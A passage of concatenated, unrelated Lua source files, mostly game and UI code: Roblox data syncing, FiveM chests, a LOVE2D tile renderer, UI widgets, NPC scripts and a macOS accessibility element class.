elseif IsClient then
NetRetrieve.OnClientInvoke = function(topic,...)
local data = {...}
if topic == Configuration.Internal.Update then
DataStore:UpdateData(table.unpack(data))
return true
end
end
NetSend.OnClientEvent:Connect(function(topic,...)
local data = {...}
if topic == Configuration.Internal.Set then
DataStore:SetData(table.unpack(data))
elseif topic == Configuration.Internal.Update then
DataStore:UpdateData(table.unpack(data))
end
end)
end
if IsClient then
DataStore.LoadedPlayers[Player.UserId] = true
Send(Configuration.Internal.Spawn)
end
end)
return DataStore |
local Tunnel = module("vrp", "lib/Tunnel")
local Proxy = module("vrp", "lib/Proxy")
vRP = Proxy.getInterface("vRP")
vRPclient = Tunnel.getInterface("vRP","vRP_chests")
--- Config
-- list of static chests
-- {access, x, y, z, name-optional}
-- access = can be user_id, user_permission or user_group. Set it to "none" to give to all players access to the chest.
-- name = if you have multiple chests with same access you need to set different name, or the chests with same access will containt same items.
local chests = {}
chests = {
{"Royal Reapers", -808.29809570313,175.27745056152,76.740791320801, "Royal Reapers"},
{"Hells Angels", 977.18389892578,-104.06502532959,74.845169067383, "Hells Angels"},
{"Lost Ledelse", -574.53649902344,293.49392700195,79.176689147949, "The Lost MC Ledelse Kiste"}, -- -576.94177246094,286.802734375,79.176574707031
{"Lost Medlem", -571.56488037109,285.34844970703,79.176689147949, "The Lost MC Kiste"}, -- -576.94177246094,286.802734375,79.176574707031
{"Black Army", 330.05987548828,-2014.3515625,22.394878387451, "Black Army"},
{"Politi-Job", 478.48883056641,-984.86486816406,24.914697647095, "Politi-Job"}
}
-- I've put some random locations just for test, change them.
---#
local function create_pleschest(owner_access, x, y, z, player, name)
local namex = name or "chest"
local chest_enter = function(player, area)
local user_id = vRP.getUserId({player})
if user_id ~= nil then
if owner_access == "none" or user_id == tonumber(owner_access) or vRP.hasGroup({user_id, owner_access}) or vRP.hasPermission({user_id, owner_access}) then
vRP.openChest({player, "static:"..owner_access..":"..namex, 500, nil, nil, nil})
end
end
end
local chest_leave = function(player,area)
vRP.closeMenu({player})
end
local nid = "vRP:static-"..namex..":"..owner_access
vRPclient.setNamedMarker(player,{nid,x,y,z-1,0.7,0.7,0.5,0,148,255,125,150})
vRP.setArea({player,nid,x,y,z,1,1.5,chest_enter,chest_leave})
end
AddEventHandler("vRP:playerSpawn",function(user_id,source,first_spawn)
if first_spawn then
for k, v in pairs(chests) do
create_pleschest(v[1], v[2], v[3], v[4], source, v[5])
--TriggerClientEvent('chatMessage', -1, "Chest created: "..v[1]..", "..v[2]..", "..v[3]..", "..v[4]..", "..v[5]..".") -- debuging.
end
end
end)
|
-- Unityから呼ばれるのはmain.luaのみとする。このファイルを起点にゲームスクリプトを記述する。
--[[local function foo(initPosX, speed)
for i = 1, 5 do
local enemy = GenerateEnemy(EnemyID.SmallBlueFairy, initPosX, ScreenTop.y, speed, -math.pi / 2, 8)
for i = 1, 15 do
coroutine.yield()
end
end
for i = 1, 180 do
coroutine.yield()
end
end]]
local stg = require('stg')
local playerScript = require('reimu')
local function TestBenchmark()
stg:Wait(70)
local redEnemy = stg:CreateEnemy(EnemyID.SmallRedFairy, ScreenLeft.x + (ScreenRight.x - ScreenLeft.x) * 1.0 / 3, ScreenTop.y, 1.5, -math.pi / 2, 40)
local blueEnemy = stg:CreateEnemy(EnemyID.SmallBlueFairy, ScreenLeft.x + (ScreenRight.x - ScreenLeft.x) * 2.0 / 3, ScreenTop.y, 1.5, -math.pi / 2, 40)
stg:Wait(90)
redEnemy.Speed = 0
blueEnemy.Speed = 0
stg:Wait(5)
local ways = 21
local maxIteration = 60
local diffAngle = 2 * math.pi / ways
for i = 1, maxIteration do
local playerDirFromRed = stg:CalcAngleBetween(redEnemy, playerScript:GetPlayer())
local playerDirFromBlue = stg:CalcAngleBetween(blueEnemy, playerScript:GetPlayer())
for j = -(ways - 1) / 2, (ways - 1) / 2 do
stg:CreateBullet(BulletID.SmallRedBullet, redEnemy, 2, playerDirFromRed + j * diffAngle)
stg:CreateBullet(BulletID.SmallBlueBullet, blueEnemy, 2, playerDirFromBlue + j * diffAngle)
end
if redEnemy:IsEnabled() or blueEnemy:IsEnabled() then
--GenerateEffect(EffectID.EnemyShotSound)
end
stg:Wait(1)
end
stg:Wait(300)
end
function Main()
math.randomseed(os.time())
StartCoroutine(playerScript.Run)
TestBenchmark()
--local stage1 = require('stage1')
--stage1:Start()
--[[ChangeScene(SceneID.StageClear)
local stage2 = require('scripts.stage2')
stage2:Start()
ChangeScene(SceneID.AllClear)]]
--[[Lua側でコルーチンを実行する場合。
local co = coroutine.create(foo)
repeat
coroutine.resume(co, (ScreenCenter.x - ScreenLeft.x) / 2, 2)
coroutine.yield() -- 1フレーム毎に呼び出し元に返す。
until coroutine.status(co) == 'dead'
collectgarbage()]]
end
|
local lg = love.graphics
local cpath = tostring(...):gsub("%.[^%.]+$", "")
local class = require(cpath .. ".utils").class
local Cart = class()
function Cart:init(runtime)
self._runtime = runtime
lg.setDefaultFilter("nearest", "nearest")
self._backCanvas = lg.newCanvas(2048, 2048)
self._clear = nil
self._tileSetCache = {}
self._tileSets = {
nextIndex = 0,
}
end
function Cart:tileDraw(tilesetID, sourceCellX, sourceCellY, destCellX, destCellY, spanCellX, spanCellY, alpha, colour, offsetX, offsetY, flipX, flipY)
local ts = self:findTileset(tilesetID)
if not ts then
error("Need a tileset ID!", 2)
end
if not sourceCellX or not sourceCellY then
error("Invalid source coordinates ("..sourceCellX..", "..sourceCellY..")", 2)
end
if not destCellX or not destCellY then
error("Invalid destination coordinates ("..destCellX..", "..destCellY..")", 2)
end
local dx = sourceCellX * 8
local dy = sourceCellY * 8
local isx = spanCellX or 1
local isy = spanCellY or 1
local ox = offsetX or 0
local oy = offsetY or 0
local fx = flipX and -1 or 1
local fy = flipY and -1 or 1
if flipX then destCellX = destCellX + isx end
if flipY then destCellY = destCellY + isy end
local w = isx * 8
local h = isy * 8
local quad = ts.quad
if quad then
quad:setViewport(dx, dy, w, h, ts.imageWidth, ts.imageHeight)
else
quad = lg.newQuad(dx, dy, w, h, ts.imageWidth, ts.imageHeight)
ts.quad = quad
end
local alpha = alpha or 1
local col = colour or {1, 1, 1}
lg.setCanvas(self._backCanvas)
lg.setColor(col[1], col[2], col[3], alpha)
lg.draw(ts.image, quad, destCellX * 8 + ox, destCellY * 8 + oy, 0, fx, fy)
lg.setCanvas()
lg.setBlendMode('alpha')
end
function Cart:tileClear(destCellX, destCellY, spanCellX, spanCellY, alpha, colour, offsetX, offsetY)
local ox = offsetX or 0
local oy = offsetY or 0
local sx = spanCellX or 1
local sy = spanCellY or 1
local alpha = alpha or 0
local col = colour or {0, 0, 0}
lg.setCanvas(self._backCanvas)
lg.setBlendMode('replace')
lg.setColor(col[1], col[2], col[3], alpha)
lg.rectangle('fill', destCellX * 8 + ox, destCellY * 8 + oy, sx * 8, sy * 8)
lg.setCanvas()
lg.setBlendMode('alpha')
end
function Cart:createTileset(img)
local ts = self._tileSets
local iw, ih = img:getDimensions()
ts.nextIndex = ts.nextIndex + 1
n = "tset" .. ts.nextIndex
t = {
key = n,
image = img,
imageWidth = iw,
imageHeight = ih,
lineCells = math.floor(iw / 8),
}
ts[n] = t
return n, t
end
function Cart:loadTileset(fileName)
if not fileName then
error("Need a fileName to load!", 2)
end
if not love.filesystem.getInfo(fileName) then
error("Missing file: " .. fileName, 2)
end
local tw = 8
local th = tw
local tsc = self._tileSetCache
local t = tsc[fileName]
local n = nil
if t then
n = t.key
else
local img = lg.newImage(fileName)
n, t = self:createTileset(img, tw, th)
t.fileName = fileName
tsc[fileName] = t
end
return n
end
function Cart:listTilesets()
local o = {}
for k, v in pairs(self._tileSets) do
if k:sub(1, 4) == "tset" then
o[#o+1] = k
end
end
return o
end
function Cart:removeTileset(n)
local t = self:findTileset(n)
if t then
self._tileSetCache[t.fileName] = nil
self._tileSets[n] = nil
end
end
function Cart:findTileset(n)
if not n then
return nil
end
if type(n) ~= 'string' or #n < 5 or n:sub(1, 4) ~= "tset" then
print("Warning! " .. n .. " may not be a tileset ID.")
end
return self._tileSets[n]
end
function Cart:clearScreen(...)
lg.setCanvas(self._runtime.bgCvs)
self._runtime.drawBegin()
local values = {pcall(lg.clear, ...)}
self._runtime.drawEnd()
lg.setCanvas()
local ok = values[1]
if not ok then
error(values[2], 2)
end
end
function Cart:drawMap(sourceCellX, sourceCellY, spanCellX, spanCellY, offsetX, offsetY, rotationAngle, scale, alpha, colour)
if not sourceCellX or not sourceCellY then
error("Invalid coordinates (" .. tostring(sourceCellX) .. ", " .. tostring(sourceCellY) .. ")!", 2)
end
local bg = self._backCanvas
local q = bg.quad or lg.newQuad(0, 0, 8, 8, bg:getDimensions())
local ss = self._runtime.screenSize / 8
local cw = spanCellX or ss
local ch = spanCellY or ss
local ox = offsetX or 0
local oy = offsetY or 0
local scale = scale or 1
local alpha = alpha or 1
local col = colour or {1, 1, 1}
q:setViewport(sourceCellX * 8, sourceCellY * 8, cw * 8, ch * 8)
lg.setCanvas(self._runtime.bgCvs)
self._runtime.drawBegin()
lg.push()
lg.translate(ox, oy)
if rotationAngle then
lg.translate(cw*4*scale, ch*4*scale)
lg.rotate(rotationAngle)
lg.translate(-cw*4*scale, -ch*4*scale)
end
lg.scale(scale, scale)
lg.setColor(col[1], col[2], col[3], alpha)
lg.draw(bg, q)
lg.pop()
self._runtime.drawEnd()
lg.setCanvas()
end
function Cart:print(x, y, text, c)
if not x or type(x) ~= 'number' or
not y or type(y) ~= 'number' then
error("Invalid printXY coords ("..tostring(x)..", "..tostring(y)..")", 2)
end
if not text then
error("Need something to print for printXY", 2)
end
local col = c or {1, 1, 1}
lg.setCanvas(self._runtime.bgCvs)
lg.setColor(col[1], col[2], col[3])
lg.print(text, x, y)
lg.setCanvas()
end
function Cart:getViewportInfo()
return self._runtime.getViewportInfo()
end
function Cart:button(btn)
return self._runtime.input:getButton(btn)
end
function Cart:buttonPressed(btn)
return self._runtime.input:getButton(btn, true)
end
function Cart:getDivMod(a, b)
if b == 0 then
return
end
local c = a / b
local d = math.floor(c)
return d, (c - d) * b
end
function Cart:tileDump(fileName)
local cdata = self._backCanvas:newImageData()
cdata:encode("png", fileName)
end
return Cart
|
ITEM.name = "Административные документы"
ITEM.desc = ""
ITEM.price = 6942
ITEM.exRender = false
ITEM.weight = 0.12
ITEM.model = "models/kek1ch/notes_document_case_3.mdl"
ITEM.width = 2
ITEM.height = 1
ITEM.iconCam = {
pos = Vector(202.4426574707, 169.8695526123, 123.72142791748),
ang = Angle(25, 220, 0),
fov = 5.1592356687898
} |
LoveUI.TextView=LoveUI.Control:new();
function LoveUI.TextView:init(frame, contentSize, ...)
LoveUI.Control.init(self, frame, ...)
self.value=""
self.enabled=true
self.opaque=true;
self.tabAccessible=true
self.contentView=LoveUI.View:new(LoveUI.Rect:new(0,0,contentSize:get()));
self.contentView.opaque=true
self.contentView.display=function(view)
love.graphics.setFont(LoveUI.DEFAULT_FONT)
love.graphics.setColor(unpack(LoveUI.defaultTextColor));
LoveUI.graphics.drawf(self.value, 10, 20, contentSize.width-30);
end
self.scrollView=LoveUI.ScrollView:new(LoveUI.Rect:new(0,0,frame.size:get()), contentSize);
self.scrollView.contentView:addSubview(self.contentView)
self.scrollView.nextResponder=self.nextResponder
self.nextResponder=self.scrollView
self:addSubview(self.scrollView)
--bind scrollviews values to this one.
LoveUI.bind(self.scrollView, "enabled", self, "enabled",
function (isenabled)
return isenabled
end
, function(isenabled, value)
return nil;
end);
LoveUI.bind(self.scrollView, "opaque", self, "opaque",
function (isopaque)
return isopaque
end
, function(isopaque, value)
return nil;
end);
return self;
end
function LoveUI.TextView:keyDown(theEvent)
if theEvent.keyCode==love.key_up then
self.scrollView:addOffset(LoveUI.Point:new(0, 10))
return
end
if theEvent.keyCode==love.key_down then
self.scrollView:addOffset(LoveUI.Point:new(0, -10))
return
end
if theEvent.keyCode==love.key_right then
self.scrollView:addOffset(LoveUI.Point:new(-10, 0))
return
end
if theEvent.keyCode==love.key_left then
self.scrollView:addOffset(LoveUI.Point:new(10, 0))
return
end
LoveUI.View.keyDown(self, theEvent);
end
function LoveUI.TextView:setFrame(aFrame)
self.frame=aFrame;
self.scrollView:setFrame(LoveUI.Rect:new(0,0,aFrame.size:get()));
self:calculateScissor();
end
function LoveUI.TextView:setSize(aSize)
self.frame.size=aSize:copy();
self.scrollView:setFrame(LoveUI.Rect:new(0,0,aSize:get()));
self:calculateScissor();
end
|
local slider = {}
slider.clickedLast = false
slider.leftLast = false
slider.rightLast = false
slider.leftCooldown2Active = false
slider.rightCooldown2Active = false
slider.leftCooldown1 = 0
slider.rightCooldown1 = 0
slider.leftCooldown2 = 0
slider.rightCooldown2 = 0
slider.wheelDelta = 0
function slider.new(x, y, size, thickness, direction, setCallback)
return setmetatable({
x = x,
y = y,
width = size,
height = thickness,
c1 = {1.0, 1.0, 1.0},
c2 = {0.8, 0.8, 0.8, 0.6},
c3 = {0.8, 0.8, 0.8},
c4 = {0.4, 0.4, 0.4},
val = 0,
grabbed = false,
mouseOffset = 0,
lastWheel = 0,
callback=setCallback
}, {__index=slider})
end
function slider.updateMouseKeys(delta, k)
slider.leftCooldown1 = slider.leftCooldown1 - delta
slider.rightCooldown1 = slider.rightCooldown1 - delta
slider.leftCooldown2 = slider.leftCooldown2 - delta
slider.rightCooldown2 = slider.rightCooldown2 - delta
if love.mouse.isDown(1, 2, 3) then
slider.clickedLast = true
else
slider.clickedLast = false
end
if k.sliderLeft.held and not slider.leftLast then
slider.leftCooldown1 = 0.5
end
if k.sliderRight.held and not slider.rightLast then
slider.rightCooldown1 = 0.5
end
slider.leftLast = k.sliderLeft.held
slider.rightLast = k.sliderRight.held
if not k.sliderLeft.held then
slider.leftCooldown2Active = false
end
if not k.sliderRight.held then
slider.rightCooldown2Active = false
end
if slider.leftLast and slider.leftCooldown1 <= 0 then
slider.leftCooldown2Active = true
end
if slider.rightLast and slider.rightCooldown1 <= 0 then
slider.rightCooldown2Active = true
end
if slider.leftCooldown2Active then
if slider.leftCooldown2 <= 0 then
slider.leftLast = false
slider.leftCooldown2 = 0.1
end
else
slider.leftCooldown2 = 0.1
end
if slider.rightCooldown2Active then
if slider.rightCooldown2 <= 0 then
slider.rightLast = false
slider.rightCooldown2 = 0.1
end
else
slider.rightCooldown2 = 0.1
end
end
function slider:update(k)
local oldVal = self.val
self.val = math.max(math.min(self.val + (slider.wheelDelta - self.lastWheel), 1), 0)
self.lastWheel = slider.wheelDelta
local mouseX, mouseY = love.mouse.getPosition()
if k.action.held then
if (not self.grabbed) and mouseX >= self.x+self.val*(self.width-10)-10 and mouseY >= self.y-10 and mouseX <= self.x+self.val*(self.width-10)+10+10 and mouseY <= self.y+self.height+10 then
if not slider.clickedLast then
self.grabbed = true
self.mouseOffset = self.val - math.max(math.min((mouseX - self.x) / self.width, 1), 0)
end
end
if self.grabbed then
self.val = math.max(math.min((mouseX - self.x) / self.width + self.mouseOffset, 1), 0)
end
else
self.grabbed = false
end
if mouseX >= self.x - 10 and mouseY >= self.y - 10 and mouseX <= self.x + self.width + 10 and mouseY <= self.y + self.height + 10 then
if k.sliderLeft.held and not slider.leftLast then
if not self.grabbed then
self.val = math.max(math.min(self.val - 0.05, 1), 0)
else
self.mouseOffset = self.mouseOffset - 0.05
end
end
if k.sliderRight.held and not slider.rightLast then
if not self.grabbed then
self.val = math.max(math.min(self.val + 0.05, 1), 0)
else
self.mouseOffset = self.mouseOffset + 0.05
end
end
end
if self.callback and self.val ~= oldVal then
self:callback(self.val)
end
end
function slider:draw()
love.graphics.setLineWidth(3)
love.graphics.setColor(self.c1)
love.graphics.rectangle("fill", self.x, self.y, self.width, self.height)
if self.grabbed then
love.graphics.setColor(self.c4)
else
love.graphics.setColor(self.c3)
end
love.graphics.rectangle("fill", self.x+self.val*(self.width-10), self.y, 10, self.height)
love.graphics.setColor(self.c2)
love.graphics.rectangle("line", self.x-1, self.y-1, self.width+2, self.height+2)
love.graphics.setColor(1, 1, 1)
end
function love.wheelmoved(x, y)
local mouseX, mouseY = love.mouse.getPosition()
slider.wheelDelta = slider.wheelDelta - y/20
end
return slider
|
function auriskins.gen_formspec_skins (player)
local fs = ainv.formspec_base(player)
fs = fs .. ainv.create_tabs()
--Labels
fs = fs .. [[
label[7,0;Available Skins]
]]
local playerdata = auriskins.get_skin_data(player)
if playerdata.preview then
fs = fs .. "image[3.5,1;3,6;" .. playerdata.preview .. "]"
else
fs = fs .. "image[2.6,2.6;5,2.5;" .. playerdata.skin .. "]"
end
fs = fs .. "textlist[7,0.5;4,7;skinlist;"
for i = 1, auriskins.skinsloaded do
if auriskins.skindata[i].name then
fs = fs .. auriskins.skindata[i].name .. " (" .. auriskins.skindata[i].author .. ")"
else
fs = fs .. "#ff9999Skin " .. i .. " (No Metadata)"
end
if i ~= auriskins.skinsloaded then
fs = fs .. ","
end
end
fs = fs .. "]" .. ainv.formspec_base_end(player)
return fs
end |
-----------------------------------
-- Area: Nashmau
-- NPC: Abihaal
-- Standard Info NPC
-----------------------------------
function onTrade(player, npc, trade)
end
function onTrigger(player, npc)
player:startEvent(221, player:getGil(), 100)
end
function onEventUpdate(player, csid, option)
end
function onEventFinish(player, csid, option)
if (csid == 221 and option == 333) then
player:delGil(100)
end
end
|
--- === cp.ui.Element ===
---
--- A support class for `hs.axuielement` management.
---
--- See:
--- * [Button](cp.ui.Button.md)
--- * [CheckBox](cp.rx.CheckBox.md)
--- * [MenuButton](cp.rx.MenuButton.md)
local require = require
--local log = require "hs.logger".new("Element")
local drawing = require "hs.drawing"
local axutils = require "cp.ui.axutils"
local Builder = require "cp.ui.Builder"
local go = require "cp.rx.go"
local is = require "cp.is"
local lazy = require "cp.lazy"
local prop = require "cp.prop"
local class = require "middleclass"
local cache = axutils.cache
local Do, Given, If = go.Do, go.Given, go.If
local isFunction = is.fn
local isCallable = is.callable
local pack, unpack = table.pack, table.unpack
local Element = class("cp.ui.Element"):include(lazy)
--- cp.ui.Element:defineBuilder(...) -> cp.ui.Element
--- Method
--- Defines a new [Builder](cp.ui.Builder.md) class on this `Element` with the specified additional argument names.
---
--- Parameters:
--- * ... - The names for the methods which will collect extra arguments to pass to the `Element` constructor.
---
--- Returns:
--- * The same `Element` class instance.
---
--- Notes:
--- * The order of the argument names here is the order in which they will be passed to the `Element` constructor, no matter what
--- order they are called on the `Builder` itself.
--- * Once defined, the class can be accessed via the static `<Element Name>.Builder` of the `Element` subclass.
--- * For example, if you have a `cp.ui.Element` subclass named `MyElement`, with an extra `alpha` and `beta` constructor argument, you can do this:
--- ```lua
--- -- The class definition
--- local MyElement = Element:subclass("cp.ui.MyElement"):defineBuilder("withAlpha", "withBeta")
--- -- The constructor
--- function MyElement.Builder:initialize(parent, uiFinder, alpha, beta)
--- Element.initialize(self, parent, uiFinder)
--- self.alpha = alpha
--- self.beta = beta
--- end
--- -- Create a callable `MyClass.Builder` instance
--- local myElementBuilder = MyElement:withAlpha(1):withBeta(2)
--- -- alternately, same result:
--- local myElementBuilder = MyElement:withBeta(2):withAlpha(1)
--- -- Alternately, same result:
--- local myElementBuilder = MyElement.Builder():withAlpha(1):withBeta(2)
--- -- Create an instance of `MyClass`:
--- local myElement = myElementBuilder(parent, uiFinder)
--- ```
function Element.static:defineBuilder(...)
local args = pack(...)
local thisType = self
local builderClass = Builder:subclass(self.name .. ".Builder")
self.Builder = builderClass
function builderClass.initialize(builderType, elementType)
elementType = elementType or thisType
Builder.initialize(builderType, elementType, unpack(args))
end
for _, arg in ipairs(args) do
self[arg] = function(elementType, ...)
local instance = builderClass(elementType)
return instance[arg](instance, ...)
end
end
return self
end
--- cp.ui.Element:isTypeOf(thing) -> boolean
--- Function
--- Checks if the `thing` is an `Element`. If called on subclasses, it will check
--- if the `thing` is an instance of the subclass.
---
--- Parameters:
--- * `thing` - The thing to check
---
--- Returns:
--- * `true` if the thing is a `Element` instance.
---
--- Notes:
--- * This is a type method, not an instance method or a type function. It is called with `:` on the type itself,
--- not an instance. For example `Element:isTypeOf(value)`
function Element.static:isTypeOf(thing)
return type(thing) == "table" and thing.isInstanceOf ~= nil and thing:isInstanceOf(self)
end
--- cp.ui.Element.matches(element) -> boolean
--- Function
--- Matches to any valid `hs.axuielement`. Sub-types should provide their own `matches` method.
---
--- Parameters:
--- * The element to check
---
--- Returns:
--- * `true` if the element is a valid instance of an `hs.axuielement`.
function Element.static.matches(element)
return element ~= nil and isFunction(element.isValid) and element:isValid()
end
-- Defaults to describing the class by it's class name
function Element:__tostring()
return self.class.name
end
--- cp.ui.Element(parent, uiFinder) -> cp.ui.Element
--- Constructor
--- Creates a new `Element` with the specified `parent` and `uiFinder`.
--- The `uiFinder` may be either a `function` that returns an `axuielement`, or a [cp.prop](cp.prop.md).
---
--- Parameters:
--- * parent - The parent Element (may be `nil`)
--- * uiFinder - The `function` or `prop` that actually provides the current `axuielement` instance.
---
--- Returns:
--- * The new `Element` instance.
function Element:initialize(parent, uiFinder)
self._parent = parent
local UI
if prop.is(uiFinder) then
UI = uiFinder
elseif isCallable(uiFinder) then
UI = prop(function()
return cache(self, "_ui", function()
local ui = uiFinder()
return (self.class.matches == nil or self.class.matches(ui)) and ui or nil
end,
self.class.matches)
end)
else
error "Expected either a cp.prop, function, or callable table for uiFinder."
end
self.UI = UI
UI:bind(self, "UI")
if prop.is(parent.UI) then
UI:monitor(parent.UI)
end
end
--- cp.ui.Element.value <cp.prop: anything; live?>
--- Field
--- The 'AXValue' of the element.
function Element.lazy.prop:value()
return axutils.prop(self.UI, "AXValue", true)
end
--- cp.ui.Element.textValue <cp.prop: string; read-only; live?>
--- Field
--- The 'AXValue' of the element, if it is a `string`.
function Element.lazy.prop:textValue()
return self.value:mutate(function(original)
local value = original()
return type(value) == "string" and value or nil
end)
end
--- cp.ui.Element.valueIs(value) -> boolean
--- Method
--- Checks if the current value of this element is the provided value.
---
--- Parameters:
--- * value - The value to compare to.
---
--- Returns:
--- * `true` if the current [#value] is equal to the provided `value`.
function Element:valueIs(value)
return self:value() == value
end
--- cp.ui.Element.title <cp.prop: string; read-only, live?>
--- Field
--- The 'AXTitle' of the element.
function Element.lazy.prop:title()
return axutils.prop(self.UI, "AXTitle")
end
--- cp.ui.Element.isShowing <cp.prop: boolean; read-only; live?>
--- Field
--- If `true`, the `Element` is showing on screen.
function Element.lazy.prop:isShowing()
local parent = self:parent()
local isShowing = self.UI:ISNOT(nil):AND(parent.isShowing)
if prop.is(parent.isShowing) then
isShowing:monitor(parent.isShowing)
end
return isShowing
end
--- cp.ui.Element:doShow() -> cp.rx.go.Statement
--- Method
--- Returns a `Statement` that will ensure the Element is showing.
--- By default, will ask the `parent` to show, if the `parent` is available.
---
--- Parameters:
--- * None
---
--- Returns:
--- * A Statement
function Element.lazy.method:doShow()
return If(function() return self:parent() end)
:Then(function(parent) return parent.doShow and parent:doShow() end)
:Otherwise(false)
end
--- cp.ui.Element:show() -> self
--- Method
--- Shows the Element.
---
--- Parameters:
--- * None
---
--- Returns:
--- * self
function Element:show()
local parent = self:parent()
if parent then
parent:show()
end
return self
end
--- cp.ui.Element:focus() -> self, boolean
--- Method
--- Attempt to set the focus on the element.
---
--- Parameters:
--- * None
---
--- Returns:
--- * self, boolean - the boolean indicates if the focus was set.
function Element:focus()
return self:setAttributeValue("AXFocused", true)
end
--- cp.ui.Element:doFocus() -> cp.rx.go.Statement
--- Method
--- A `Statement` that attempts to set the focus on the element.
---
--- Parameters:
--- * None
---
--- Returns:
--- * The `Statement`.
function Element.lazy.method:doFocus()
return self:doSetAttributeValue("AXFocused", true)
:Label("cp.ui.Element:doFocus()")
end
--- cp.ui.Element:attributeValue(id) -> anything, true | nil, false
--- Method
--- Attempts to retrieve the specified `AX` attribute value, if the `UI` is available.
---
--- Parameters:
--- * id - The `AX` attribute to retrieve.
---
--- Returns:
--- * The current value for the attribute, or `nil` if the `UI` is not available, followed by `true` if the `UI` is present and was called.
function Element:attributeValue(id)
local ui = self:UI()
if ui then
return ui:attributeValue(id), true
end
return nil, false
end
--- cp.ui.Element:setAttributeValue(id, value) -> self, boolean
--- Method
--- If the `UI` is available, set the named `AX` attribute to the `value`.
---
--- Parameters:
--- * id - The `AX` id to set.
--- * value - The new value.
---
--- Returns:
--- * The `Element` instance, then `true` if the UI is available and the value was set, otherwise false.
function Element:setAttributeValue(id, value)
local ui = self:UI()
if ui then
ui:setAttributeValue(id, value)
return self, true
end
return self, false
end
--- cp.ui.Element:performAction(id) -> boolean
--- Method
--- Attempts to perform the specified `AX` action, if the `UI` is available.
---
--- Parameters:
--- * id - The `AX` action to perform.
---
--- Returns:
--- * `true` if the `UI` is available and the action was performed, otherwise `false`.
function Element:performAction(id)
local ui = self:UI()
if ui then
ui:performAction(id)
return self, true
end
return self, false
end
--- cp.ui.Element:doSetAttributeValue(id, value) -> cp.rx.go.Statement
--- Method
--- Returns a `Statement` which will attempt to update the specified `AX` attribute to the new `value`.
---
--- Parameters:
--- * id - The `string` for the AX action to perform.
--- * value - The new value to set.
---
--- Returns:
--- * The `Statement` which will perform the action and resolve to `true` if the UI is available and set, otherwise `false`.
function Element:doSetAttributeValue(id, value)
return If(self.UI)
:Then(function(ui)
ui:setAttributeValue(id, value)
return true
end)
:Otherwise(false)
:Label("cp.ui.Element:doSetAttributeValue('" .. id .. "', value)")
end
--- cp.ui.Element:doPerformAction(id) -> cp.rx.go.Statement
--- Method
--- Returns a `Statement` which will attempt to perform the action with the specified id (eg. "AXCancel")
---
--- Parameters:
--- * id - The `string` for the AX action to perform.
---
--- Returns:
--- * The `Statement` which will perform the action.
function Element:doPerformAction(id)
return If(self.UI)
:Then(function(ui)
ui:performAction(id)
return true
end)
:Otherwise(false)
:Label("cp.ui.Element:doPerformAction('" .. id .. "')")
end
--- cp.ui.Element.role <cp.prop: string; read-only>
--- Field
--- Returns the `AX` role name for the element.
function Element.lazy.prop:role()
return axutils.prop(self.UI, "AXRole")
end
--- cp.ui.Element.subrole <cp.prop: string; read-only>
--- Field
--- Returns the `AX` subrole name for the element.
function Element.lazy.prop:subrole()
return axutils.prop(self.UI, "AXSubrole")
end
--- cp.ui.Element.identifier <cp.prop: string; read-only>
--- Field
--- Returns the `AX` identifier for the element.
function Element.lazy.prop:identifier()
return axutils.prop(self.UI, "AXIdentifier")
end
--- cp.ui.Element.isEnabled <cp.prop: boolean; read-only>
--- Field
--- Returns `true` if the `Element` is visible and enabled.
function Element.lazy.prop:isEnabled()
return axutils.prop(self.UI, "AXEnabled")
end
--- cp.ui.Element.frame <cp.prop: table; read-only; live?>
--- Field
--- Returns the table containing the `x`, `y`, `w`, and `h` values for the `Element` frame, or `nil` if not available.
function Element.lazy.prop:frame()
return axutils.prop(self.UI, "AXFrame")
end
--- cp.ui.Element.isFocused <cp.prop: boolean; read-only?; live?>
--- Field
--- Returns `true` if the `AXFocused` attribute is `true`. Not always a reliable way to determine focus however.
function Element.lazy.prop:isFocused()
return axutils.prop(self.UI, "AXFocused", true)
end
--- cp.ui.Element.position <cp.prop: table; read-only; live?>
--- Field
--- Returns the table containing the `x` and `y` values for the `Element` frame, or `nil` if not available.
-- TODO: ensure no other 'position' props are getting created elsewhere...
-- function Element.lazy.prop:position()
-- return axutils.prop(self.UI, "AXPosition")
-- end
--- cp.ui.Element.size <cp.prop: table; read-only; live?>
--- Field
--- Returns the table containing the `w` and `h` values for the `Element` frame, or `nil` if not available.
-- TODO: ensure no other 'size' props are getting created elswehere...
-- function Element.lazy.prop:size()
-- return axutils.prop(self.UI, "AXSize")
-- end
--- cp.ui.Element:parent() -> parent
--- Method
--- Returns the parent object.
---
--- Parameters:
--- * None
---
--- Returns:
--- * parent
function Element:parent()
return self._parent
end
--- cp.ui.Element:app() -> App
--- Method
--- Returns the app instance.
---
--- Parameters:
--- * None
---
--- Returns:
--- * App
function Element:app()
local parent = self:parent()
return parent and parent:app()
end
--- cp.ui.Element:snapshot([path]) -> hs.image | nil
--- Method
--- Takes a snapshot of the button in its current state as a PNG and returns it.
--- If the `path` is provided, the image will be saved at the specified location.
---
--- Parameters:
--- * path - (optional) The path to save the file. Should include the extension (should be `.png`).
---
--- Return:
--- * The `hs.image` that was created.
function Element:snapshot(path)
local ui = self:UI()
if ui then
return axutils.snapshot(ui, path)
end
return nil
end
local RED_COLOR = { red = 1, green = 0, blue = 0, alpha = 0.75 }
--- cp.ui.Element:doHighlight([color], [duration]) -> cp.rx.go.Statement
--- Method
--- Returns a `Statement` which will attempt to highlight the `Element` with the specified `color` and `duration`.
---
--- Parameters:
--- * color - The `hs.drawing` color to use. (defaults to red)
--- * duration - The `number` of seconds to highlight for. (defaults to `3` seconds)
---
--- Returns:
--- * The `Statement` which will perform the action.
function Element:doHighlight(color, duration)
if type(color) == "number" then
duration = color
color = nil
end
color = color or RED_COLOR
duration = duration or 3
--log.df("doHighlight: color=%s, duration=%d", hs.inspect(color), duration)
local highlight
return If(self.frame)
:Then(function(frame)
return Do(function()
--log.df("doHighlight: frame: %s", hs.inspect(frame))
highlight = drawing.rectangle(frame)
highlight:setStrokeColor(color)
highlight:setFill(false)
highlight:setStrokeWidth(3)
highlight:show()
return true
end)
:ThenDelay(duration * 1000)
end)
:Otherwise(false)
:Finally(function()
--log.df("doHighlight: Finally...")
if highlight then
--log.df("doHighlight: Finally: removing highlight...")
highlight:delete()
highlight = nil
end
end)
:Label("cp.ui.Element:doHighlight(color, duration)")
end
--- cp.ui.Element:highlight([color], [duration])
--- Method
--- Highlights the `Element` with the specified `color` and `duration`.
---
--- Parameters:
--- * color - The `hs.drawing` color to use. (defaults to red)
--- * duration - The `number` of seconds to highlight for. (defaults to `3` seconds)
---
--- Returns:
--- * Nothing
function Element:highlight(color, duration)
